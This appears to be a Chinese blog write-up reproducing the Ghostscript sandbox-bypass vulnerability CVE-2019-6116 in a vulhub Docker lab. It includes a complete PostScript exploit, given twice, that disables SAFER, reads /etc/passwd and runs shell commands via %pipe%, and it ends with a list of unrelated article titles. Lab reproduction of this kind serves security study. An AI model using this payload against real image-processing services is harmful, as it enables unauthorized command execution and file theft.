当前位置: 首页 > news >正文

[ vulhub漏洞复现篇 ] GhostScript 沙箱绕过(任意命令执行)漏洞CVE-2019-6116

🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

文章目录

  • 🍬 博主介绍
  • 一、漏洞编号
  • 二、影响范围
  • 三、漏洞描述
  • 四、环境搭建
    • 1、进入CVE-2019-6116环境
    • 2、启动CVE-2019-6116环境
    • 3、查看CVE-2019-6116环境
    • 4、访问CVE-2019-6116环境
    • 5、查看CVE-2019-6116漏洞提示信息
    • 6、关闭CVE-2019-6116环境
  • 五、漏洞复现
    • 1、POC
    • 2、访问漏洞页面
    • 3、构造执行ls的poc
    • 4、上传poc.png
    • 5、命令执行成功
  • 六、漏洞修复
  • 七、相关资源

一、漏洞编号

CVE-2019-6116

二、影响范围

Ghostscript 9.24之前版本

三、漏洞描述

Ghostscript 是一套基于 Adobe、PostScript 及可移植文档格式(PDF)的页面描述语言等而编译成的免费软件。Ghostscript 可以查看及打印 PS、EPS、PDF 文件,支持 PS 的绘图程序一般都很大。以Postscript和PDF阅览器使用的栅格化影像处理器RIP引擎,GhostScript 被许多图片处理库所使用。在文件上传过程中,有可能会用GhostScript来处理图片。
CVE-2019-6116可以直接绕过 ghostscript 的安全沙箱,导致攻击者可以执行任意命令/读取任意文件。

四、环境搭建

1、进入CVE-2019-6116环境

cd vulhub/ghostscript/CVE-2019-6116

在这里插入图片描述

2、启动CVE-2019-6116环境

docker-compose up -d

在这里插入图片描述

3、查看CVE-2019-6116环境

docker-compose ps

在这里插入图片描述

4、访问CVE-2019-6116环境

访问ip+端口

http://192.168.233.128:8080/

在这里插入图片描述

5、查看CVE-2019-6116漏洞提示信息

cat README.md

在这里插入图片描述

6、关闭CVE-2019-6116环境

复现完记得关闭环境

docker-compose down

在这里插入图片描述

五、漏洞复现

1、POC

%!PS
% extract .actual_pdfpaintproc operator from pdfdict
/.actual_pdfpaintproc pdfdict /.actual_pdfpaintproc get def
 
/exploit {
    (Stage 11: Exploitation...)=
 
    /forceput exch def
 
    systemdict /SAFER false forceput
    userparams /LockFilePermissions false forceput
    systemdict /userparams get /PermitFileControl [(*)] forceput
    systemdict /userparams get /PermitFileWriting [(*)] forceput
    systemdict /userparams get /PermitFileReading [(*)] forceput
 
    % update
    save restore
 
    % All done.
    stop
} def
 
errordict /typecheck {
    /typecount typecount 1 add def
    (Stage 10: /typecheck #)=only typecount ==
 
    % The first error will be the .knownget, which we handle and setup the
    % stack. The second error will be the ifelse (missing boolean), and then we
    % dump the operands.
    typecount 1 eq { null } if
    typecount 2 eq { pop 7 get exploit } if
    typecount 3 eq { (unexpected)= quit }  if
} put
 
% The pseudo-operator .actual_pdfpaintproc from pdf_draw.ps pushes some
% executable errays onto the operand stack that contain .forceput, but are not
% marked as executeonly or pseudo-operators.
%
% The routine was attempting to pass them to ifelse, but we can cause that to
% fail because when the routine was declared, it used `bind` but many of the
% names it uses are not operators and so are just looked up in the dictstack.
%
% This means we can push a dict onto the dictstack and control how the routine
% works.
<< 
    /typecount      0
    /PDFfile        { (Stage 0: PDFfile)= currentfile }
    /q              { (Stage 1: q)= } % no-op
    /oget           { (Stage 3: oget)= pop pop 0 } % clear stack
    /pdfemptycount  { (Stage 4: pdfemptycount)= } % no-op
    /gput           { (Stage 5: gput)= }  % no-op
    /resolvestream  { (Stage 6: resolvestream)= } % no-op
    /pdfopdict      { (Stage 7: pdfopdict)= } % no-op
    /.pdfruncontext { (Stage 8: .pdfruncontext)= 0 1 mark } % satisfy counttomark and index
    /pdfdict        { (Stage 9: pdfdict)=
        % cause a /typecheck error we handle above
        true
    }
>> begin <<>> <<>> { .actual_pdfpaintproc } stopped pop
 
(Should now have complete control over ghostscript, attempting to read /etc/passwd...)=
 
% Demonstrate reading a file we shouldnt have access to.
(/etc/passwd) (r) file dup 64 string readline pop == closefile
 
(Attempting to execute a shell command...)= flush
 
% run command
(%pipe%命令 > /tmp/success)(w) file closefile
 
(All done.)=
 
quit

2、访问漏洞页面

在这里插入图片描述

3、构造执行ls的poc

%!PS
% extract .actual_pdfpaintproc operator from pdfdict
/.actual_pdfpaintproc pdfdict /.actual_pdfpaintproc get def
 
/exploit {
    (Stage 11: Exploitation...)=
 
    /forceput exch def
 
    systemdict /SAFER false forceput
    userparams /LockFilePermissions false forceput
    systemdict /userparams get /PermitFileControl [(*)] forceput
    systemdict /userparams get /PermitFileWriting [(*)] forceput
    systemdict /userparams get /PermitFileReading [(*)] forceput
 
    % update
    save restore
 
    % All done.
    stop
} def
 
errordict /typecheck {
    /typecount typecount 1 add def
    (Stage 10: /typecheck #)=only typecount ==
 
    % The first error will be the .knownget, which we handle and setup the
    % stack. The second error will be the ifelse (missing boolean), and then we
    % dump the operands.
    typecount 1 eq { null } if
    typecount 2 eq { pop 7 get exploit } if
    typecount 3 eq { (unexpected)= quit }  if
} put
 
% The pseudo-operator .actual_pdfpaintproc from pdf_draw.ps pushes some
% executable errays onto the operand stack that contain .forceput, but are not
% marked as executeonly or pseudo-operators.
%
% The routine was attempting to pass them to ifelse, but we can cause that to
% fail because when the routine was declared, it used `bind` but many of the
% names it uses are not operators and so are just looked up in the dictstack.
%
% This means we can push a dict onto the dictstack and control how the routine
% works.
<< 
    /typecount      0
    /PDFfile        { (Stage 0: PDFfile)= currentfile }
    /q              { (Stage 1: q)= } % no-op
    /oget           { (Stage 3: oget)= pop pop 0 } % clear stack
    /pdfemptycount  { (Stage 4: pdfemptycount)= } % no-op
    /gput           { (Stage 5: gput)= }  % no-op
    /resolvestream  { (Stage 6: resolvestream)= } % no-op
    /pdfopdict      { (Stage 7: pdfopdict)= } % no-op
    /.pdfruncontext { (Stage 8: .pdfruncontext)= 0 1 mark } % satisfy counttomark and index
    /pdfdict        { (Stage 9: pdfdict)=
        % cause a /typecheck error we handle above
        true
    }
>> begin <<>> <<>> { .actual_pdfpaintproc } stopped pop
 
(Should now have complete control over ghostscript, attempting to read /etc/passwd...)=
 
% Demonstrate reading a file we shouldnt have access to.
(/etc/passwd) (r) file dup 64 string readline pop == closefile
 
(Attempting to execute a shell command...)= flush
 
% run command
(%pipe%id > /tmp/success) (w) file closefile
 
(All done.)=
 
Quit

在这里插入图片描述

4、上传poc.png

上传poc.png,将执行命令id > /tmp/success,将id这个命令写入到success这个文件中

在这里插入图片描述

5、命令执行成功

docker ps
docker exec -it 5980166c5beb /bin/bash
ls /tmp

看到了success文件,证明命令执行成功

在这里插入图片描述

六、漏洞修复

建议更新到(c47512e5e638d903d69925f7ebab4de2aa3f481f)之后的版本,或者直接重新拉取master分支进行更新,若无法更新可先尝试禁用使用gs解析ps文件。

七、相关资源

1、docker 搭建 vulhub 靶场环境
2、[ vulhub漏洞复现篇 ] vulhub 漏洞集合 - 表格版本(含漏洞复现文章连接)
3、[ vulhub漏洞复现篇 ] vulhub 漏洞集合(含漏洞复现文章连接)

相关文章:

  • 力扣(LeetCode)1832. 判断句子是否为全字母句(C++)
  • ehcache使用及缓存不生效处理方法
  • BASNet调研
  • Android Kotlin 基础知识codelab activity 和 fragment 生命周期
  • 数据结构---KMP算法
  • PHP——运算符
  • 笔试强训48天——day25
  • 有了@MapperScan就不用@Mapper了你知道嘛
  • Docker之Nacos的持久化和集群部署
  • 前端——表单相关的属性(上)
  • 【C++初阶7-stringOJ】上手用一下
  • 【Java 实战】通过ElasticSearch实现全局搜索功能
  • webgis —— 为瓦片构建缓存
  • 最惨面试季:“这么简单的9道题,我刷掉了90%的测试员。”
  • c++11 function模板:模板特化与可变参数函数模板
  • JavaScript 如何正确处理 Unicode 编码问题!
  • angular学习第一篇-----环境搭建
  • ES学习笔记(12)--Symbol
  • gcc介绍及安装
  • Java基本数据类型之Number
  • Java应用性能调优
  • php的插入排序,通过双层for循环
  • Rancher-k8s加速安装文档
  • vue+element后台管理系统,从后端获取路由表,并正常渲染
  • Vue组件定义
  • 阿里研究院入选中国企业智库系统影响力榜
  • 从零开始在ubuntu上搭建node开发环境
  • 诡异!React stopPropagation失灵
  • 基于web的全景—— Pannellum小试
  • 基于游标的分页接口实现
  • 前嗅ForeSpider中数据浏览界面介绍
  • 推荐一个React的管理后台框架
  • 用Python写一份独特的元宵节祝福
  • 中国人寿如何基于容器搭建金融PaaS云平台
  • 追踪解析 FutureTask 源码
  • 阿里云服务器购买完整流程
  • 如何用纯 CSS 创作一个菱形 loader 动画
  • ​ ​Redis(五)主从复制:主从模式介绍、配置、拓扑(一主一从结构、一主多从结构、树形主从结构)、原理(复制过程、​​​​​​​数据同步psync)、总结
  • ​Distil-Whisper:比Whisper快6倍,体积小50%的语音识别模型
  • ​一文看懂数据清洗:缺失值、异常值和重复值的处理
  • #、%和$符号在OGNL表达式中经常出现
  • #HarmonyOS:Web组件的使用
  • $.proxy和$.extend
  • (13):Silverlight 2 数据与通信之WebRequest
  • (蓝桥杯每日一题)love
  • (四)汇编语言——简单程序
  • (五)Python 垃圾回收机制
  • (一) springboot详细介绍
  • (转)eclipse内存溢出设置 -Xms212m -Xmx804m -XX:PermSize=250M -XX:MaxPermSize=356m
  • (转)程序员技术练级攻略
  • (转)负载均衡,回话保持,cookie
  • ****Linux下Mysql的安装和配置
  • .NET 6 Mysql Canal (CDC 增量同步,捕获变更数据) 案例版
  • .NET C# 使用 SetWindowsHookEx 监听鼠标或键盘消息以及此方法的坑
  • .net core 6 集成和使用 mongodb